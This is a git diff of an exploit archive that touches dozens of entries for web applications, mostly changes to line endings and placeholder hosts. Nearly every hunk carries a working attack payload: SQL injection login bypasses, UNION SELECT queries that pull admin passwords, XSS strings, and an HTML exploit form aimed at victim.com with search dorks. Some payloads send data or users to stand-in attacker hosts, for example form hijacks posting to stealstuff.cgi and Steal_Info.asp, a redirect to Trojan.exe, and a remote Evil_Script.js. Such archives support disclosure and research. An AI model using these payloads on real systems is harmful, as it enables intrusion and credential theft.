+http://www.example.com/news.asp?p_pagealias=news&p_news_id=1[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/26969.txt b/platforms/asp/webapps/26969.txt index 5665dd66f..dff092569 100755 --- a/platforms/asp/webapps/26969.txt +++ b/platforms/asp/webapps/26969.txt @@ -5,4 +5,4 @@ Tangora Portal CMS is prone to a cross-site scripting vulnerability. This issue An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. /page1631.aspx?action=[XSS] -/page496.aspx?action=[XSS] \ No newline at end of file +/page496.aspx?action=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26991.html b/platforms/asp/webapps/26991.html index be67478b2..a0d357c2c 100755 --- a/platforms/asp/webapps/26991.html +++ b/platforms/asp/webapps/26991.html @@ -30,4 +30,4 @@ of Iran</a></p> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> -</form></html> \ No newline at end of file +</form></html> \ No newline at end of file diff --git a/platforms/asp/webapps/27034.txt b/platforms/asp/webapps/27034.txt index 71477f498..aa5257216 100755 --- a/platforms/asp/webapps/27034.txt +++ b/platforms/asp/webapps/27034.txt @@ -4,4 +4,4 @@ OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/press/details.asp?Press_Release_ID=[SQL] \ No newline at end of file +http://www.example.com/press/details.asp?Press_Release_ID=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/27035.txt b/platforms/asp/webapps/27035.txt index c7af7ecfb..97d5efe7a 100755 --- a/platforms/asp/webapps/27035.txt +++ b/platforms/asp/webapps/27035.txt @@ -4,4 +4,4 @@ OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/services/details.asp?Service_ID=[SQL] \ No newline at end of file +http://www.example.com/services/details.asp?Service_ID=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/27036.txt b/platforms/asp/webapps/27036.txt index 71b6cc754..4648a0f23 100755 --- a/platforms/asp/webapps/27036.txt +++ b/platforms/asp/webapps/27036.txt @@ -4,4 +4,4 @@ OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/products/details.asp?Product_ID=[SQL] \ No newline at end of file +http://www.example.com/products/details.asp?Product_ID=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/27063.txt b/platforms/asp/webapps/27063.txt index 9eaa450b0..d0c9d6d92 100755 --- a/platforms/asp/webapps/27063.txt +++ b/platforms/asp/webapps/27063.txt @@ -4,4 +4,4 @@ WebWiz Forums is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[webwizdir]/search_form.asp?ReturnPage=Search&search=XSS&searchMode=allwords&searchIn=Topic&forum=0&searchSort=dateDESC&SearchPagePosition=1 \ No newline at end of file +http://www.example.com/[webwizdir]/search_form.asp?ReturnPage=Search&search=XSS&searchMode=allwords&searchIn=Topic&forum=0&searchSort=dateDESC&SearchPagePosition=1 \ No newline at end of file diff --git a/platforms/asp/webapps/27071.txt b/platforms/asp/webapps/27071.txt index c6b3e5087..64e74358a 100755 --- a/platforms/asp/webapps/27071.txt +++ b/platforms/asp/webapps/27071.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th FogBugz versions 4.029 and prior are vulnerable. -http://www.example.com/default.asp?pg=pgLogon&dest=[XSS] \ No newline at end of file +http://www.example.com/default.asp?pg=pgLogon&dest=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/27079.txt b/platforms/asp/webapps/27079.txt index ed01d550d..90efcc4fa 100755 --- a/platforms/asp/webapps/27079.txt +++ b/platforms/asp/webapps/27079.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Version 3.2.8 is reported vulnerable; other versions may also be affected. -http://www.example.com/forgotPassword.asp?txtEmailAddress=[XSS] \ No newline at end of file +http://www.example.com/forgotPassword.asp?txtEmailAddress=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/27083.txt b/platforms/asp/webapps/27083.txt index 1625e8355..4cab40282 100755 --- a/platforms/asp/webapps/27083.txt +++ b/platforms/asp/webapps/27083.txt @@ -4,4 +4,4 @@ SimpleBlog is prone to multiple input validation vulnerabilities. These issues a Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, or the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. -http://www.example.com/simpleblog/?view=archives&month='&year=2006 \ No newline at end of file +http://www.example.com/simpleblog/?view=archives&month='&year=2006 \ No newline at end of file diff --git a/platforms/asp/webapps/27142.txt b/platforms/asp/webapps/27142.txt index e4a89fd45..8d37f12f6 100755 --- a/platforms/asp/webapps/27142.txt +++ b/platforms/asp/webapps/27142.txt @@ -11,4 +11,4 @@ http://www.example.com/[Forum target]/login.asp username: admin -password: ' or ' \ No newline at end of file +password: ' or ' \ No newline at end of file diff --git a/platforms/asp/webapps/27143.txt b/platforms/asp/webapps/27143.txt index 9c314b3b4..c80fdf533 100755 --- a/platforms/asp/webapps/27143.txt +++ b/platforms/asp/webapps/27143.txt @@ -5,4 +5,4 @@ ZixForum is prone to multiple SQL-injection vulnerabilities. These issues are du Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/forum/forum.asp?pageid=1&H_ID=9 [ SQL INJEC] \ No newline at end of file +http://www.example.com/forum/forum.asp?pageid=1&H_ID=9 [ SQL INJEC] \ No newline at end of file diff --git a/platforms/asp/webapps/27151.txt b/platforms/asp/webapps/27151.txt index 030022a8e..fdf90a094 100755 --- a/platforms/asp/webapps/27151.txt +++ b/platforms/asp/webapps/27151.txt @@ -9,4 +9,4 @@ Version 8.0 and earlier are reported to be vulnerable; other versions may also b http://www.example.com:8080/daffodilcrm/userlogin.jsp -PoC could be: 1'or'1'='1 \ No newline at end of file +PoC could be: 1'or'1'='1 \ No newline at end of file diff --git a/platforms/asp/webapps/27160.txt b/platforms/asp/webapps/27160.txt index ba7cf20eb..7bb843477 100755 --- a/platforms/asp/webapps/27160.txt +++ b/platforms/asp/webapps/27160.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in http://www.example.com/shop/handle/varer/sok/resultat.asp?strSok= -%3CIMG+SRC%3Djavascript%3Aalert%28%26quot%3BXSS%26quot%3B%29%3E&valg=varer \ No newline at end of file +%3CIMG+SRC%3Djavascript%3Aalert%28%26quot%3BXSS%26quot%3B%29%3E&valg=varer \ No newline at end of file diff --git a/platforms/asp/webapps/27161.txt b/platforms/asp/webapps/27161.txt index 32b9544bb..f7142211c 100755 --- a/platforms/asp/webapps/27161.txt +++ b/platforms/asp/webapps/27161.txt @@ -13,4 +13,4 @@ http://www.example.com/default.asp?gb=kate&kat=<script>alert(document.cookie</sc http://www.example.com/default.asp?gb=kate&kat=<script>alert(document.title)</script>&ortak= -http://www.example.com/default.asp?gb=kate&kat=AnaKart&ortak="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/default.asp?gb=kate&kat=AnaKart&ortak="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/asp/webapps/27169.txt b/platforms/asp/webapps/27169.txt index 2baa7bed3..b40b93701 100755 --- a/platforms/asp/webapps/27169.txt +++ b/platforms/asp/webapps/27169.txt @@ -7,4 +7,4 @@ Successful exploitation could allow an attacker to compromise the application, a Code For Admin Login : Username : ' or ''=' -Password: ' or ''=' \ No newline at end of file +Password: ' or ''=' \ No newline at end of file diff --git a/platforms/asp/webapps/27174.txt b/platforms/asp/webapps/27174.txt index e49ba42f5..6ed1af9e5 100755 --- a/platforms/asp/webapps/27174.txt +++ b/platforms/asp/webapps/27174.txt @@ -5,4 +5,4 @@ GA's Forum Light is prone to an SQL-injection vulnerability. This issue is due t Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. http://www.example.com/forum/archive.asp?Forum=Test+Forum%5F1%2D13%2D2004%5F11%2D28%2D2004&pages=' -http://www.example.com/forum/archive.asp?Forum='%20or%20'='%5F1%2D13%2D2004%5F11%2D28%2D2004&pages=4 \ No newline at end of file +http://www.example.com/forum/archive.asp?Forum='%20or%20'='%5F1%2D13%2D2004%5F11%2D28%2D2004&pages=4 \ No newline at end of file diff --git a/platforms/asp/webapps/2782.txt b/platforms/asp/webapps/2782.txt index 0f3928ad9..36f1a6db7 100755 --- a/platforms/asp/webapps/2782.txt +++ b/platforms/asp/webapps/2782.txt @@ -10,7 +10,7 @@ passwd: 'or''=' injection sql (post) : -http://server/search_list.asp +http://site.com/search_list.asp variables: Hpecs_Find=maingroup&searchstring='[sql] ( or just post your query in the search engine ... ) diff --git a/platforms/asp/webapps/28062.txt b/platforms/asp/webapps/28062.txt index 4e18c0e0a..62e352718 100755 --- a/platforms/asp/webapps/28062.txt +++ b/platforms/asp/webapps/28062.txt @@ -4,4 +4,4 @@ Cisco CallManager is prone to a cross-site scripting vulnerability. This issue i An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting administrative user in the context of the affected site. This may help the attacker launch other attacks. -http://www.example.com/CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter="><script>for (i=0; i<document.forms.length; i%2B%2B) document.forms[i].action="http://www.attackerserver/stealstuff.cgi";</script><!-- \ No newline at end of file +http://www.example.com/CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter="><script>for (i=0; i<document.forms.length; i%2B%2B) document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";</script><!-- \ No newline at end of file diff --git a/platforms/asp/webapps/29024.txt b/platforms/asp/webapps/29024.txt index e03687545..4677e5b27 100755 --- a/platforms/asp/webapps/29024.txt +++ b/platforms/asp/webapps/29024.txt @@ -4,6 +4,6 @@ Inventory Manager is prone to multiple input-validation vulnerabilities, includi Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible. -http://server/inventory/inventory/display/imager.asp?pictable='[sql] -http://server/inventory/inventory/display/imager.asp?pictable=[inventory]&picfield=[sql] -http://server/inventory/inventory/display/imager.asp?pictable=[inventory &picfield=photo&where='[sql] \ No newline at end of file +http://site.com/inventory/inventory/display/imager.asp?pictable='[sql] +http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory]&picfield=[sql] +http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory &picfield=photo&where='[sql] \ No newline at end of file diff --git a/platforms/asp/webapps/29152.txt b/platforms/asp/webapps/29152.txt index 17c223df0..e1aa99cf3 100755 --- a/platforms/asp/webapps/29152.txt +++ b/platforms/asp/webapps/29152.txt @@ -4,4 +4,4 @@ JiRos Links Manager is prone to multiple input-validation vulnerabilities, inclu Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation; other attacks are possible. -http://www.example.com/openlink.asp?LinkID='[sql] \ No newline at end of file +http://www.example.com/openlink.asp?LinkID='[sql] \ No newline at end of file diff --git a/platforms/asp/webapps/29500.txt b/platforms/asp/webapps/29500.txt index 5748b38bd..11e850ea3 100755 --- a/platforms/asp/webapps/29500.txt +++ b/platforms/asp/webapps/29500.txt @@ -14,8 +14,8 @@ Google Dork: allinurl:RASPcalendar "powered by RASPcalendar" ------------------------------------------------------------ Example : http://www.usfim.it/RASPcalendar/ - : http://server/events - : http://server/calendar + : http://site.com/events + : http://site.com/calendar : etc... Go to : http://www.usfim.it/RASPcalendar/admin/ diff --git a/platforms/asp/webapps/29533.html b/platforms/asp/webapps/29533.html index e69135237..bed1a7192 100755 --- a/platforms/asp/webapps/29533.html +++ b/platforms/asp/webapps/29533.html @@ -4,4 +4,4 @@ AdMentor is prone to an SQL-injection vulnerability because the application fail A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -<html><title>AdMentor Script Remote SQL injection Exploit</title> =============================================================================================== <p><b><font size="2">[Script Name: <font color="#0000FF">AdMentor admin SQL injection </font></font></b></p> <p><b><font size="2">[Coded by : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Author : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Contact : <font color="#FF0000">Crazy_King@Eno7.org </font></font></b></p> <p><b><font size="2">[Dork : <font color="#0000FF">inurl:"admentor/admin" </font></font></b></p> <p><b><font size="2">[Dork Ex. : <font color="#0000FF">http://www.google.com.tr/search?hl=tr&q=inurl%3A%22admentor%2Fadmin%22&btnG=Google%27da+Ara&meta= </font></font></b></p> <p><b><font size="2">[S.Page : <font color="#0000FF">http://www.aspcode.net/products/admentor </font></font></b></p> <p><b><font size="2">[Thanks : <font color="#008000">Erne & ApAci & Eno7 & Uyuss & Liz0zim & Thehacker & Xoron & Ajann</font></font></b> =============================================================================================== </p> <FORM NAME=giris ACTION="http://victim.com/[path to script]/admin/login.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> <b><font face="Verdana" size="2" color="#008000">Exploit Coded By Cr@zy_King</font></b></p> </tr></table></form></html> \ No newline at end of file +<html><title>AdMentor Script Remote SQL injection Exploit</title> =============================================================================================== <p><b><font size="2">[Script Name: <font color="#0000FF">AdMentor admin SQL injection </font></font></b></p> <p><b><font size="2">[Coded by : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Author : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Contact : <font color="#FF0000">Crazy_King@Eno7.org </font></font></b></p> <p><b><font size="2">[Dork : <font color="#0000FF">inurl:"admentor/admin" </font></font></b></p> <p><b><font size="2">[Dork Ex. : <font color="#0000FF">http://www.google.com.tr/search?hl=tr&q=inurl%3A%22admentor%2Fadmin%22&btnG=Google%27da+Ara&meta= </font></font></b></p> <p><b><font size="2">[S.Page : <font color="#0000FF">http://www.aspcode.net/products/admentor </font></font></b></p> <p><b><font size="2">[Thanks : <font color="#008000">Erne & ApAci & Eno7 & Uyuss & Liz0zim & Thehacker & Xoron & Ajann</font></font></b> =============================================================================================== </p> <FORM NAME=giris ACTION="http://victim.com/[path to script]/admin/login.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> <b><font face="Verdana" size="2" color="#008000">Exploit Coded By Cr@zy_King</font></b></p> </tr></table></form></html> \ No newline at end of file diff --git a/platforms/asp/webapps/29596.txt b/platforms/asp/webapps/29596.txt index bd30fb505..37ceb8197 100755 --- a/platforms/asp/webapps/29596.txt +++ b/platforms/asp/webapps/29596.txt @@ -4,4 +4,4 @@ eWay is prone to a cross-site scripting vulnerability because the application fa An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file +http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/asp/webapps/29597.txt b/platforms/asp/webapps/29597.txt index b09d358b5..e12a324cb 100755 --- a/platforms/asp/webapps/29597.txt +++ b/platforms/asp/webapps/29597.txt @@ -4,4 +4,4 @@ Community Server is prone to a cross-site scripting vulnerability because the ap An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/search/SearchResults.aspx?q=%22%3e%3cscript%3ealert(%27bl4ck%27)%3c%2fscript%3e&o=Relevance \ No newline at end of file +http://www.example.com/path/search/SearchResults.aspx?q=%22%3e%3cscript%3ealert(%27bl4ck%27)%3c%2fscript%3e&o=Relevance \ No newline at end of file diff --git a/platforms/asp/webapps/29600.txt b/platforms/asp/webapps/29600.txt index cba607045..55951ea95 100755 --- a/platforms/asp/webapps/29600.txt +++ b/platforms/asp/webapps/29600.txt @@ -4,4 +4,4 @@ Fullaspsite Shop is prone to multiple input-validation issues, including multipl A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible. -http://www.example.com/ScriptPath/listmain.asp?cat=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/ScriptPath/listmain.asp?cat=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/asp/webapps/29611.txt b/platforms/asp/webapps/29611.txt index 30673668e..e82d22498 100755 --- a/platforms/asp/webapps/29611.txt +++ b/platforms/asp/webapps/29611.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Version 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/h_goster.asp?id=1+union+select+0,MsEmail,MsUserName,MsPassword,4+from+uyeler \ No newline at end of file +http://www.example.com/h_goster.asp?id=1+union+select+0,MsEmail,MsUserName,MsPassword,4+from+uyeler \ No newline at end of file diff --git a/platforms/asp/webapps/29622.txt b/platforms/asp/webapps/29622.txt index b10c6bc1f..99b2bcfac 100755 --- a/platforms/asp/webapps/29622.txt +++ b/platforms/asp/webapps/29622.txt @@ -8,4 +8,4 @@ Version 2.0 is vulnerable; other versions may also be affected. http://www.example.com/page.asp?art_id=[SQL] http://www.example.com/page.asp?art_id=-1+union+select+0,Name,2,3,4,5,6,7,8,9+from+Users+where+id=1 -http://www.example.com/page.asp?art_id=-1+union+select+0,PassWord,2,3,4,5,6,7,8,9+from+Users+where+id=1 \ No newline at end of file +http://www.example.com/page.asp?art_id=-1+union+select+0,PassWord,2,3,4,5,6,7,8,9+from+Users+where+id=1 \ No newline at end of file diff --git a/platforms/asp/webapps/29817.txt b/platforms/asp/webapps/29817.txt index a99cea56d..ab3255478 100755 --- a/platforms/asp/webapps/29817.txt +++ b/platforms/asp/webapps/29817.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Gazi Okul Sitesi 2007. -http://www.example.com//fotokategori.asp?'%20union%20select%201,2,3,password,5,6,username,8%20from%20admin \ No newline at end of file +http://www.example.com//fotokategori.asp?'%20union%20select%201,2,3,password,5,6,username,8%20from%20admin \ No newline at end of file diff --git a/platforms/asp/webapps/29929.txt b/platforms/asp/webapps/29929.txt index f6784ca5d..94af803e2 100755 --- a/platforms/asp/webapps/29929.txt +++ b/platforms/asp/webapps/29929.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Burak Yilmaz Blog 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/bry.asp?islem=yazidevam&id=-1+union+select+0,0,0,0,0,0,sifre,0+from+admin \ No newline at end of file +http://www.example.com/[path]/bry.asp?islem=yazidevam&id=-1+union+select+0,0,0,0,0,0,sifre,0+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/29933.txt b/platforms/asp/webapps/29933.txt index eae02d505..680840c24 100755 --- a/platforms/asp/webapps/29933.txt +++ b/platforms/asp/webapps/29933.txt @@ -4,4 +4,4 @@ Gazi Download Portal is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/down_indir.asp?id=1+union+select+0,adminsifre,2,3,4,5,6,7+from+ayarlar \ No newline at end of file +http://www.example.com/down_indir.asp?id=1+union+select+0,adminsifre,2,3,4,5,6,7+from+ayarlar \ No newline at end of file diff --git a/platforms/asp/webapps/29958.txt b/platforms/asp/webapps/29958.txt index 6f067319f..81e1126d8 100755 --- a/platforms/asp/webapps/29958.txt +++ b/platforms/asp/webapps/29958.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc fipsCMS 2.1 and prior versions are vulnerable to this issue. -http://www.example.com/home/index.asp?pid='/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9/**/from/**/pidRoot/**/ \ No newline at end of file +http://www.example.com/home/index.asp?pid='/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9/**/from/**/pidRoot/**/ \ No newline at end of file diff --git a/platforms/asp/webapps/30048.html b/platforms/asp/webapps/30048.html index 1f5ac13fc..550c7899a 100755 --- a/platforms/asp/webapps/30048.html +++ b/platforms/asp/webapps/30048.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow VP-ASP Shopping Cart 6.50 is vulnerable; other versions may also be affected. -<!-- VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability A cross-site scripting vulnerability in VP-ASP Shopping Cart 6.50 was discovered. The vendor, VP-ASP, shipped an official patch on May 16th, 2007. Vulnerable Variable: type Vulnerable File: shopcontent.asp Vulnerable: VP-ASP Shopping Cart 6.50 (other versions should also be vulnerable) Google d0rk: intitle:"VP-ASP Shopping Cart 6.50" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 16th, 2007 !--> <html> <head><title>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22VP-ASP+Shopping+Cart+6.50%22">intitle:"VP-ASP Shopping Cart 6.50"</a> </font><br><br><br> <center>file <b>shopcontent.asp</b> - variable <b>type</b> - method <b>get</b></center><br> <form action="http://www.example.com/shop/shopcontent.asp" method="get"> <input size=75 name="type" value="<body onload=alert(1)>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> \ No newline at end of file +<!-- VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability A cross-site scripting vulnerability in VP-ASP Shopping Cart 6.50 was discovered. The vendor, VP-ASP, shipped an official patch on May 16th, 2007. Vulnerable Variable: type Vulnerable File: shopcontent.asp Vulnerable: VP-ASP Shopping Cart 6.50 (other versions should also be vulnerable) Google d0rk: intitle:"VP-ASP Shopping Cart 6.50" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 16th, 2007 !--> <html> <head><title>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22VP-ASP+Shopping+Cart+6.50%22">intitle:"VP-ASP Shopping Cart 6.50"</a> </font><br><br><br> <center>file <b>shopcontent.asp</b> - variable <b>type</b> - method <b>get</b></center><br> <form action="http://www.example.com/shop/shopcontent.asp" method="get"> <input size=75 name="type" value="<body onload=alert(1)>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> \ No newline at end of file diff --git a/platforms/asp/webapps/30077.txt b/platforms/asp/webapps/30077.txt index 9eeeeea63..7ab7bc5af 100755 --- a/platforms/asp/webapps/30077.txt +++ b/platforms/asp/webapps/30077.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability could allow an attacker to perform cross-site scri Cisco CallManager 4.1.1 is reported vulnerable; other versions may also be affected. -https://www.example.com/CCMAdmin/serverlist.asp?findBy=servername&match=begins&pattern=[xss] \ No newline at end of file +https://www.example.com/CCMAdmin/serverlist.asp?findBy=servername&match=begins&pattern=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/30141.txt b/platforms/asp/webapps/30141.txt index 62ec55bcf..c95211919 100755 --- a/platforms/asp/webapps/30141.txt +++ b/platforms/asp/webapps/30141.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue by manipulating the SQL query logic to carry Hünkaray Okul Portalý 1.1 is vulnerable to this issue. -http://www.example.com/okul/haberoku.asp?id=11%20union+select+0,sifre,kullaniciadi,3,4+from+admin \ No newline at end of file +http://www.example.com/okul/haberoku.asp?id=11%20union+select+0,sifre,kullaniciadi,3,4+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/30159.txt b/platforms/asp/webapps/30159.txt index 1c7eb1a0f..de165b54c 100755 --- a/platforms/asp/webapps/30159.txt +++ b/platforms/asp/webapps/30159.txt @@ -4,4 +4,4 @@ ASP Folder Gallery is prone to an arbitrary-file-download vulnerability because An attacker can exploit this issue to download arbitrary files within the context of the affected webserver. -http://www.example.com/aspfoldergallery/download_script.asp?file=viewimage.asp \ No newline at end of file +http://www.example.com/aspfoldergallery/download_script.asp?file=viewimage.asp \ No newline at end of file diff --git a/platforms/asp/webapps/30165.txt b/platforms/asp/webapps/30165.txt index fca313069..430c3928a 100755 --- a/platforms/asp/webapps/30165.txt +++ b/platforms/asp/webapps/30165.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue by manipulating the SQL query logic to carry Ibrahim Ã?AKICI Okul Portal 2.0 is vulnerable to this issue. -http://www.example.com/haber_oku.asp?id=9%20union+select+0,sifre,kulladi,3,4,5,6+from+uyeler \ No newline at end of file +http://www.example.com/haber_oku.asp?id=9%20union+select+0,sifre,kulladi,3,4,5,6+from+uyeler \ No newline at end of file diff --git a/platforms/asp/webapps/30198.txt b/platforms/asp/webapps/30198.txt index 567ee2340..9563c479e 100755 --- a/platforms/asp/webapps/30198.txt +++ b/platforms/asp/webapps/30198.txt @@ -4,4 +4,4 @@ TDizin is prone to a cross-site scripting vulnerability because it fails to prop Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/TDizin/arama.asp?ara= "><script>alert("G3");</script>&submit=+T%27ARA+ \ No newline at end of file +http://www.example.com/TDizin/arama.asp?ara= "><script>alert("G3");</script>&submit=+T%27ARA+ \ No newline at end of file diff --git a/platforms/asp/webapps/30204.txt b/platforms/asp/webapps/30204.txt index eb6d08776..81e6260d2 100755 --- a/platforms/asp/webapps/30204.txt +++ b/platforms/asp/webapps/30204.txt @@ -8,4 +8,4 @@ The attacker may also leverage this issue to execute arbitrary code in the brows Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. -http://www.example.com/path/store/comersus_customerAuthenticateForm.asp?redirectUrl="><script>window.location="http://www.Evil_server/Trojan.exe"</script> \ No newline at end of file +http://www.example.com/path/store/comersus_customerAuthenticateForm.asp?redirectUrl="><script>window.location="http://www.Evil_Site.com/Trojan.exe"</script> \ No newline at end of file diff --git a/platforms/asp/webapps/30205.txt b/platforms/asp/webapps/30205.txt index 17e676405..7f04e1fd4 100755 --- a/platforms/asp/webapps/30205.txt +++ b/platforms/asp/webapps/30205.txt @@ -8,4 +8,4 @@ The attacker may also leverage this issue to execute arbitrary code in the brows Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. -http://www.example.com/path/store/comersus_message.asp?message=<script src=http://www.server/Evil_Script.js></script> http://www.example.com/path/store/comersus_message.asp?message=<form%20action="http://www.Evil_server/Steal_Info.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="10"><br>Password:<input%20name="password"%2 0type="text"%20maxlength="10"><br><input%20name="login"%20type="submit"%20value ="Login"></form> \ No newline at end of file +http://www.example.com/path/store/comersus_message.asp?message=<script src=http://www.Site.com/Evil_Script.js></script> http://www.example.com/path/store/comersus_message.asp?message=<form%20action="http://www.Evil_Site.com/Steal_Info.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="10"><br>Password:<input%20name="password"%2 0type="text"%20maxlength="10"><br><input%20name="login"%20type="submit"%20value ="Login"></form> \ No newline at end of file diff --git a/platforms/asp/webapps/30207.txt b/platforms/asp/webapps/30207.txt index 1fc2538c4..d99c58c6d 100755 --- a/platforms/asp/webapps/30207.txt +++ b/platforms/asp/webapps/30207.txt @@ -4,4 +4,4 @@ FuseTalk is prone to multiple cross-site scripting vulnerabilities because the a An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/blog/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=[xss] \ No newline at end of file +http://www.example.com/blog/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/30250.txt b/platforms/asp/webapps/30250.txt index 613f5ca3c..8f6e5d31b 100755 --- a/platforms/asp/webapps/30250.txt +++ b/platforms/asp/webapps/30250.txt @@ -4,4 +4,4 @@ DUClassmate is prone to an SQL-injection vulnerability because the application f A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit 